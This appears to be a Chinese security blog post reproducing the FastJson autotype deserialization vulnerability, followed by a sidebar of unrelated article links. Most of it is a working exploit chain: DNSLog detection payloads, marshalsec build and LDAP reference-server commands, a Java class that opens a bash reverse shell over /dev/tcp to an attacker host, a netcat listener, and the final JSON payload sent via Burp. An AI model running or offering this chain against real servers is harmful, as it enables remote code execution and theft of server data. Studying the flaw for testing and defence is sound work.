当前位置:网站首页>FastJson反序列化漏洞(复现)
FastJson反序列化漏洞(复现)
2022-07-30 17:08:00 【Gaowu-】
漏洞介绍
FastJson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
FastJson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据。
详细描述
漏洞利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。
攻击流程:制作反弹Payload -> 开启HTTP服务 -> 启动LDAP服务 -> 监听EXP中端口 -> 执行Payload
漏洞复现
LOGIN页面登录抓包

添加字符破环原始json数据发现为fastjson

验证是否存在fastjson漏洞(可利用Burp插件或检测脚本)

或利用以下Payload DNSLog验证
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://dnslog.cn地址/zcc",
"autoCommit":true
}
}通过检测发现存在漏洞。
漏洞利用
前期准备:
1. 工具:GitHub - mbechler/marshalsec
下载后进入目录利用以下语句进行编译
mvn clean package -DskipTests #编译可能会遇到问题,在此遇到JAVAC没装,装一下JAVAC就可以了(无报错请忽略) yum install java-devel
编译完成后会在target目录生成 marshalsec-0.0.3-SNAPSHOT-all.jar 文件

2. 新建一个fastjson.java文件,写exp代码。
vps,以及vps监听的端口6666
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/反弹IP端口 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}javac编译生成fastjson.class文件
javac ./fastjson.java

3. 新建窗口,启动http服务
python3 -m http.server 8000
本地访问,测试是否服务正常启动。

4. 新建窗口 VPS服务器启动LDAP服务,监听1099端口,并制定加载远程类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://web服务IP:8000/#fastjson" 1099

5. 服务器监听4444端口(与3步fastjson.java中写的反弹ip端口一直)
nc -lvvp 4444

6. 返回BURP构造Payload反弹Shell
{
"user":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},"password":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://IP:1099/fastjson", #启动的LDAP服务ip+端口 (第5步)
"autoCommit":true
}
}
FastJson验证
抓包改为POST方式,添加字符破坏原有数据,返回包会出现fastjson字样,但是这个可以屏蔽
1.2.67版本前
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog地址"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog地址"}
{"@type":"java.net.Inet6Address","val":"dnslog地址"}
发现了fastjson指纹,可以通过burp插件或脚本,检测是否存在漏洞。相关工具:点击关注公众号:7Seven安全
参考:FastJson漏洞讲解:
边栏推荐
- C# 跨程序传图(共享内存块传图)跨exe传图
- 将 APACHE 日志解析到 SQL 数据库中
- [MRCTF2020]Ezaudit
- Shell implementation based on stm32
- esp32系列(5):esp32 蓝牙架构学习
- 报错500,“message“: “nested exception is org.apache.ibatis.binding.BindingException: 解决记录
- 【AAAI2020】阿里DMR:融合Matching思想的深度排序模型
- FP6606ACAW4 TQFN-20L (3mmx3mm) USB双端口充电控制器 百盛电子代理
- DLCM - 基于列表上下文信息的重排序模型
- HUAWEI CLOUD data governance production line DataArts, let "data 'wisdom' speak"
猜你喜欢

全球架构师峰会

华为云数据治理生产线DataArts,让“数据'慧'说话”

理解实现搜索二叉树

Go新项目-编译热加载使用和对比,让开发更自由(3)

论文阅读之《Color Constancy Using CNNs》

每日练习------生成13位条形, Ean-13码规则:第十三位数字是前十二位数字经过计算得到的校验码。

Research on intelligent charging strategy of matlab simulink lithium-ion battery

JMeter笔记3 | JMeter安装和环境说明

Error occurred while trying to proxy request项目突然起不来了

C语言向MySQL插入数据
随机推荐
MySQL详细学习教程(建议收藏)
全职做自媒体靠谱吗?
升级Win11后不喜欢怎么退回Win10系统?
Shell implementation based on stm32
获得抖音商品详情 API
数据预处理:离散特征编码方法
FP6600QSO SOP-8 USB专用充电端口控制器 用于快充电协议和QC2.0/3.0
[极客大挑战 2020]Roamphp1-Welcome
疫情之下的裁员浪潮,7点建议帮你斩获心仪offer
The first time I used debug query and found that this was empty, does it mean that the database has not been obtained yet?please help.
Excel导入和导出
论文阅读之《Underwater scene prior inspired deep underwater image and video Enhancement (UWCNN)》
实现web实时消息推送的7种方案
全球架构师峰会
阿里SIM-基于检索的用户行为兴趣CTR模型(Search-based user Interest Model(SIM))
牛客网刷题——运算符问题
中文字符集编码Unicode ,gb2312 , cp936 ,GBK,GB18030
Mysql进阶优化篇01——四万字详解数据库性能分析工具(深入、全面、详细,收藏备用)
万华化学精细化工创新产品大会
shell快速移植